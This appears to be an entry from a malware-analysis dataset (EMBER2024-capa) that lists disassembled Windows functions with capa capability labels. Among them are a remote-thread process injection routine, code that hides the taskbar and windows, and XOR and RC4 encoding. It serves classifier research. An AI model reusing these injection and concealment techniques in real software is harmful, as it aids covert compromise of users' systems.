joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55bc9c
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff60
mov ebx, eax
xor eax, eax
mov dword [esp], eax
xor eax, eax
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
cmp dword [ebx + 8], 0
jne 0x55bcc6
xor eax, eax
jmp 0x55bddf
mov edx, 0x55bdec
mov eax, ebx
call fcn.0055bf04
mov esi, eax
test esi, esi
jne 0x55bcdf
xor eax, eax
jmp 0x55bddf
mov edx, 0x55bdfc
mov cl, 1
mov eax, ebx
call fcn.0055be28
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
jne 0x55bd07
xor eax, eax
jmp 0x55bddf
push 0x40
push 0x1000
mov eax, dword [ebx + 0x14]
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
test edi, edi
jne 0x55bd2d
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
jmp 0x55bddf
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x14]
push eax
push 0x55ba3c
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
mov eax, dword [ebx + 8]
push eax
push edi
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov ebp, eax
test ebp, ebp
je 0x55bdb5
push 0xffffffffffffffff
push ebp
call sub.kernel32.dll_WaitForSingleObject
lea eax, [esp + 4]
push eax
push 0x94
lea eax, [esp + 0x14]
push eax
mov eax, dword [ebx + 8]
push eax
push esi
call sub.kernel32.dll_ReadProcessMemory
cmp dword [esp + 0x8c], 0
lea eax, [esp + 8]
push eax
push ebp
call sub.kernel32.dll_GetExitCodeThread
cmp dword [esp + 8], 0
je 0x55bdaf
mov eax, dword [ebx + 8]
test eax, eax
je 0x55bdaf
push 0x8000
push 0
push eax
push esi
call sub.kernel32.dll_VirtualFreeEx
xor eax, eax
mov dword [ebx + 8], eax
push ebp
call sub.kernel32.dll_CloseHandle_1
test edi, edi
je 0x55bdc7
push 0x8000
push 0
push edi
push esi
call sub.kernel32.dll_VirtualFreeEx
push esi
call sub.kernel32.dll_CloseHandle_1
mov edx, 0x55bdfc
xor ecx, ecx
mov eax, ebx
call fcn.0055be28
mov eax, dword [esp + 8]
add esp, 0xa0
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x55c56c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push ecx
mov byte [esp], dl
mov bl, 1
push 0x130
push 0
push 0x55c5bc
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetDlgItem
mov esi, eax
test esi, esi
jne 0x55c595
xor ebx, ebx
jmp 0x55c5b3
cmp byte [esp], 0
je 0x55c5a5
push 0
push esi
call sub.user32.dll_ShowWindow
jmp 0x55c5ad
push 5
push esi
call sub.user32.dll_ShowWindow
push esi
call sub.user32.dll_UpdateWindow
mov eax, ebx
pop edx
pop esi
pop ebx
ret

Function at 0x55c5cc
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push esi
mov ebx, edx
push 0
push 0x55c60c
call sub.user32.dll_FindWindowA
mov esi, eax
test esi, esi
jne 0x55c5e6
xor ebx, ebx
jmp 0x55c604
test bl, bl
je 0x55c5f4
push 0
push esi
call sub.user32.dll_ShowWindow
jmp 0x55c5fc
push 5
push esi
call sub.user32.dll_ShowWindow
mov bl, 1
push esi
call sub.user32.dll_UpdateWindow
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x58e5a4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
add esp, 0xffffff98
mov dword [esp], edx
lea esi, [esp + 4]
mov edx, esi
mov eax, dword [esp]
mov ecx, 0x64
call fcn.004029a4
mov eax, dword [0x595f88]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
dec ecx
test ecx, ecx
jl 0x58e613
inc ecx
xor eax, eax
xor edx, edx
mov dl, al
mov bl, byte [esi + edx*4]
not bl
xor bl, 0x46
push ebx
pop ebx
mov byte [esi + edx*4], bl
mov bl, byte [esi + edx*4 + 1]
not bl
xor bl, 0x75
push ebx
pop ebx
mov byte [esi + edx*4 + 1], bl
mov bl, byte [esi + edx*4 + 2]
not bl
xor bl, 0x6e
push ebx
pop ebx
mov byte [esi + edx*4 + 2], bl
mov bl, byte [esi + edx*4 + 3]
not bl
xor bl, 0x64
push ebx
pop ebx
mov byte [esi + edx*4 + 3], bl
inc eax
dec ecx
jne 0x58e5d1
mov edx, dword [esp]
mov eax, esi
mov ecx, 0x64
call fcn.004029a4
add esp, 0x68
pop esi
pop ebx
ret
Function at 0x5903a0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff30
mov edi, edx
lea edx, [esp + 8]
mov eax, edi
mov ecx, 0xc8
call fcn.004029a4
mov eax, dword [0x599bd0]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x590405
inc ebx
xor ecx, ecx
mov esi, ecx
and esi, 0xff
mov eax, dword [esp + esi*8 + 8]
mov edx, dword [esp + esi*8 + 0xc]
not eax
not edx
xor eax, 0x9abcdef9
xor edx, 0x12345678
mov dword [esp], eax
mov dword [esp + 4], edx
mov eax, dword [esp]
mov dword [esp + esi*8 + 8], eax
mov eax, dword [esp + 4]
mov dword [esp + esi*8 + 0xc], eax
inc ecx
dec ebx
jne 0x5903cb
mov edx, edi
lea eax, [esp + 8]
mov ecx, 0xc8
call fcn.004029a4
add esp, 0xd0
pop edi
pop esi
pop ebx
ret
Function at 0x591e54
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x591624
call fcn.00406eac
mov ebx, dword [0x5960cc]
xor eax, eax
push ebp
push 0x592050
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x592060
push 0xffffffffffffffff
push 0
call fcn.0040706c
mov edx, dword [0x5963e4]
mov dword [edx], eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
je 0x592035
mov eax, dword [ebx]
call fcn.00466314
mov ax, 0x133f
call fcn.00402b80
mov dl, 1
mov eax, dword [0x467934]
call fcn.00467a8c
mov edx, dword [0x595ce8]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x467934]
call fcn.00467a8c
mov edx, dword [0x5962a8]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x48c308]
call fcn.0048c360
mov edx, dword [0x5962f4]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x58e054]
call fcn.0058e0b4
mov edx, dword [0x595ea0]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x5151cc]
call fcn.00515228
mov edx, dword [0x595fa0]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x4c9730]
call fcn.004c978c
mov edx, dword [0x595bec]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x4c9934]
call fcn.004c9a74
mov edx, dword [0x595e08]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x4da114]
call fcn.004da1ac
mov edx, dword [0x596098]
mov dword [edx], eax
push 0x80
push 0xffffffffffffffec
mov eax, dword [ebx]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_SetWindowLongA
lea edx, [ebp - 0x18]
mov eax, dword [0x595ea0]
mov eax, dword [eax]
call fcn.0058e564
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040990c
mov eax, dword [ebp - 0x14]
call fcn.00404e18
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov dl, 1
mov eax, dword [0x4ee460]
call fcn.004ee4b8
mov edx, dword [0x595e68]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x515b60]
call fcn.00515c24
mov edx, dword [0x595af0]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x56816c]
call fcn.005683f4
mov edx, dword [0x5960ec]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x56490c]
call fcn.00564f50
mov edx, dword [0x595b14]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x57b554]
call fcn.0057b660
mov edx, dword [0x595eb0]
mov dword [edx], eax
mov ecx, dword [0x595d18]
mov eax, dword [ebx]
mov edx, dword [0x55f0d0]
call fcn.0046632c
mov ecx, dword [0x596184]
mov eax, dword [ebx]
mov edx, dword [0x4f7868]
call fcn.0046632c
mov ecx, dword [0x595b48]
mov eax, dword [ebx]
mov edx, dword [0x5792dc]
call fcn.0046632c
mov eax, dword [ebx]
call fcn.004663ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x592057
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.0040498c
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x5fc]
sub esp, 0x67c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x5f8], eax
push esi
lea eax, [ebp - 0x80]
push eax
mov esi, ecx
mov dword [ebp - 0x80], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea eax, [ebp + 0x3ec]
push edi
push eax
call fcn.004032af
pop ecx
pop ecx
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push esi
call fcn.004032ce
movzx eax, word [esi + eax*2 - 2]
pop ecx
cmp ax, 0x69
je 0x401073
cmp ax, 0x49
je 0x401073
push ebx
push esi
lea eax, [ebp + 0x3ec]
push eax
push str.__s_s___s
jmp 0x401081
push ebx
push esi
lea eax, [ebp + 0x3ec]
push eax
push 0x4040c4
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4010b2
push 0xc
pop eax
jmp 0x4010dd
push 0xffffffffffffffff
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + 0x5f8]
xor ecx, ebp
pop esi
call fcn.00403272
add ebp, 0x5fc
leave
ret
Function at 0x401217
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0xb7
mov dword [ebp - 0x22c], 5
mov eax, dword [ebp - 0x22c]
dec dword [ebp - 0x22c]
test eax, eax
je 0x401376
push 3
pop esi
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x4012a9
mov al, byte [ebp - 0x22c]
mov dword [ebp - 0x228], 0x1df14869
mov byte [ebp - 0x220], 0x87
mov byte [ebp - 0x21f], 0x2f
mov byte [ebp - 0x21e], 0x49
mov byte [ebp - 0x21d], 0x3a
mov byte [ebp - 0x21c], 0xe
mov byte [ebp - 0x21b], al
mov byte [ebp - 0x21a], 0xdb
mov byte [ebp - 0x219], 0x17
mov eax, 0xbab0
mov word [ebp - 0x224], ax
mov eax, 0x7891
mov word [ebp - 0x222], ax
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401376
lea eax, [ebp - 0x218]
push eax
xor esi, esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
movzx eax, byte [ebp - 0x219]
push eax
movzx eax, byte [ebp - 0x21a]
push eax
movzx eax, byte [ebp - 0x21b]
push eax
movzx eax, byte [ebp - 0x21c]
push eax
movzx eax, byte [ebp - 0x21d]
push eax
movzx eax, byte [ebp - 0x21e]
push eax
movzx eax, byte [ebp - 0x21f]
push eax
movzx eax, byte [ebp - 0x220]
push eax
movzx eax, word [ebp - 0x222]
push eax
movzx eax, word [ebp - 0x224]
push eax
push dword [ebp - 0x228]
lea eax, [ebp - 0x218]
push eax
push str._s_08lX__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X_
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x38
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401376
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0xb7
je 0x40123a
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
sete al
xor ecx, ebp
pop esi
call fcn.00403272
leave
ret

Function at 0x4013f7
Capabilities:
Accept command line arguments

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
test esi, esi
je 0x40141d
movzx eax, word [esi]
cmp ax, 0x20
je 0x40141d
cmp ax, 0x2f
je 0x40141d
cmp ax, 0x2d
je 0x40141d
inc esi
inc esi
jne 0x401404
push str.CommandLine
push dword [esp + 0xc]
call fcn.0040138a
push eax
push dword [esp + 0x18]
call fcn.004032af
push 0x40418c
push dword [esp + 0x20]
call fcn.00403281
push esi
push dword [esp + 0x28]
call fcn.00403281
add esp, 0x20
xor eax, eax
pop esi
ret
Function at 0x401454
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa04
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xa00], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ebx, [esp + 0x28]
mov edi, eax
mov byte [esp + 0xf], 0
call fcn.00401217
test al, al
jne 0x401495
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xa
push 0x404190
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor ebx, ebx
cmp eax, ebx
je 0x4014bf
push eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x18]
push eax
push edi
call fcn.004018a4
add esp, 0x10
jmp 0x4014c4
mov eax, 0x716
cmp eax, ebx
jne 0x4014fb
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 3
mov dword [esp + 0x18], ebx
call fcn.00401622
test eax, eax
je 0x4014fe
lea esi, [esp + 0x14]
call fcn.00401601
push ebx
jmp 0x40148f
push 1
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x1c]
call fcn.004016bb
cmp eax, ebx
jne 0x4014fb
lea esi, [esp + 0x14]
call fcn.00401601
lea eax, [esp + 0x238]
push eax
push edi
call fcn.004013f7
pop ecx
pop ecx
cmp eax, ebx
jne 0x4014fb
xor edx, edx
cmp word [esp + 0x238], bx
je 0x40158f
movzx ecx, word [esp + 0x238]
xor eax, eax
cmp cx, 0x2d
je 0x401551
cmp cx, 0x2f
jne 0x401577
movzx ecx, word [esp + eax + 0x23a]
cmp cx, bx
je 0x401577
cmp cx, 0x72
jne 0x401577
movzx eax, word [esp + eax + 0x23c]
cmp ax, bx
je 0x401577
cmp ax, 0x74
je 0x40158a
inc edx
lea eax, [edx + edx]
movzx ecx, word [esp + eax + 0x238]
cmp cx, bx
jne 0x401545
jmp 0x40158f
mov byte [esp + 0xf], 1
push str.ExecuteFiles
push edi
call fcn.0040138a
mov esi, eax
push esi
call fcn.004032ce
add esp, 0xc
test eax, eax
je 0x4015be
push esi
lea ecx, [esp + 0x23c]
lea ebx, [esp + 0x2c]
call fcn.00401180
xor ebx, ebx
jmp 0x4015f0
lea eax, [esp + 0x238]
push eax
mov edx, 0x4041b8
lea ecx, [esp + 0x2c]
call fcn.004010f3
pop ecx
cmp eax, 5
jne 0x4015f1
lea eax, [esp + 0x238]
push eax
mov edx, str.setup.exe
lea ecx, [esp + 0x2c]
call fcn.004010f3
pop ecx
cmp byte [esp + 0xf], bl
je 0x4014fb
push eax
jmp 0x40148f
Function at 0x4016bb
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
je 0x4016df
and dword [esi], 0
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x401700
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401893
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x4016f5
mov ecx, dword [esi]
cmp ecx, dword [esi + 4]
jae 0x40187c
mov eax, dword [esi + 8]
mov edi, dword [eax + ecx]
add dword [esi], 4
mov ecx, dword [esi]
mov dword [ebp - 0x224], edi
mov edx, dword [ecx + eax]
add ecx, 4
mov dword [ebp - 0x230], edx
mov dword [esi], ecx
cmp edx, 2
je 0x40187c
test edx, edx
jne 0x401790
cmp dword [esi + 0xc], 1
jbe 0x401790
and dword [ebp - 0x21c], 0
lea edx, [ecx + eax]
mov dword [ebp - 0x220], edx
lea edx, [ebp - 0x22c]
sub dword [ebp - 0x220], edx
mov edx, dword [ebp - 0x21c]
mov ebx, dword [ebp - 0x220]
inc dword [ebp - 0x21c]
cmp dword [ebp - 0x21c], 8
lea edx, [ebp + edx - 0x22c]
mov bl, byte [ebx + edx]
mov byte [edx], bl
jb 0x401764
add ecx, 8
mov dword [esi], ecx
mov ebx, dword [esi]
lea ecx, [ebx + edi]
mov edx, ecx
and edx, 3
mov dword [esi], ecx
je 0x4017a5
sub ecx, edx
add ecx, 4
mov dword [esi], ecx
mov edi, dword [esi]
add edi, eax
push edi
call fcn.004032ce
lea eax, [eax + eax + 2]
add dword [esi], eax
mov eax, dword [esi]
pop ecx
mov ecx, eax
and ecx, 3
je 0x4017c6
sub eax, ecx
add eax, 4
mov dword [esi], eax
cmp dword [ebp - 0x230], 1
jne 0x401804
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x4017ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401893
push 0
push edi
mov ecx, esi
call fcn.004016bb
test eax, eax
je 0x40170b
jmp 0x401893
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40181a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x401893
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401877
push 0
lea eax, [ebp - 0x224]
push eax
push dword [ebp - 0x224]
mov eax, dword [esi + 8]
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esi + 0xc], 1
jbe 0x40186b
lea eax, [ebp - 0x22c]
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40170b
push 9
pop eax
jmp 0x401893
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x4016f5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403272
leave
ret 8
Function at 0x401901
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
sub esp, 0xc
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x401918
leave
ret
or dword [ebp - 4], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 8], ecx
lea edi, [eax + esi]
jmp 0x401937
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x40193c
inc edi
cmp edi, dword [ebp - 8]
jb 0x40192e
mov eax, edi
sub eax, esi
cmp edi, dword [ebp - 8]
jae 0x401a2b
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x4019be
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x401968
cmp cl, 0xff
jne 0x4019ed
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
sub esi, eax
sub esi, 5
mov ebx, esi
mov dword [ebp - 0xc], ebx
test edx, edx
je 0x4019fe
movzx esi, byte [edx + 0x4041ec]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
shr ebx, cl
test bl, bl
je 0x4019ae
cmp bl, 0xff
jne 0x4019fb
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, dword [ebp - 0xc]
jmp 0x401986
dec ecx
shl edx, cl
and edx, 7
je 0x401955
movzx ecx, byte [edx + 0x4041ec]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x4041e4], 0
mov cl, byte [ebx + 4]
je 0x4019ea
test cl, cl
je 0x4019ea
cmp cl, 0xff
jne 0x401955
mov dword [ebp - 4], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x401929
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x401929
mov esi, eax
sub esi, dword [ebp - 4]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0xc]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret

Function at 0x403272
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40327c
repz ret
jmp fcn.00403332
Function at 0x40c31d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418538]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004097a3
mov dword [ebp - 0x14], eax
cmp dword [0x434398], esi
jne 0x40c410
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c39d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c4f0
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c4f0
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c4f0
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x434398], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43439c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4343a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4343a8], eax
test eax, eax
je 0x40c40d
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4343a4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c435
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c428
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c44a
push 4
pop eax
jmp 0x40c4f2
cmp dword [ebp - 0x14], esi
je 0x40c44a
push dword [0x434398]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c42f
mov eax, dword [0x4343a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c4a8
cmp dword [0x4343a8], edi
je 0x40c4a8
push eax
call ebx
push dword [0x4343a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c4a8
test eax, eax
je 0x40c4a8
call ecx
test eax, eax
je 0x40c49d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c49d
test byte [ebp - 8], 1
jne 0x40c4a8
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c4d8
mov eax, dword [0x43439c]
cmp eax, edi
je 0x40c4d5
push eax
call ebx
test eax, eax
je 0x40c4d5
call eax
mov esi, eax
test esi, esi
je 0x40c4d5
mov eax, dword [0x4343a0]
cmp eax, edi
je 0x40c4d5
push eax
call ebx
test eax, eax
je 0x40c4d5
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x434398]
call ebx
test eax, eax
je 0x40c4f0
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c4f2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042ed
mov esp, ebp
pop ebp
ret
Function at 0x100043c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006534f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x1000449c
je 0x10004497
cmp eax, 0x80000000
je 0x10004497
test eax, eax
jne 0x100044a3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Heap::constructor_void_]
mov eax, dword [0x1009bddc]
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000444b
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.100241d0
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_class_ScCore::Variant____thiscall_ScCore::Variant::operator_unsigned_short_int_const__]
mov eax, dword [0x1009bddc]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x1000447c
mov eax, dword [ebp - 0x10]
lea ecx, [ecx + eax*4]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100044bf
xorps xmm0, xmm0
jmp 0x100044ba
cmp eax, 0x40000000
je 0x100044af
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100044b6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4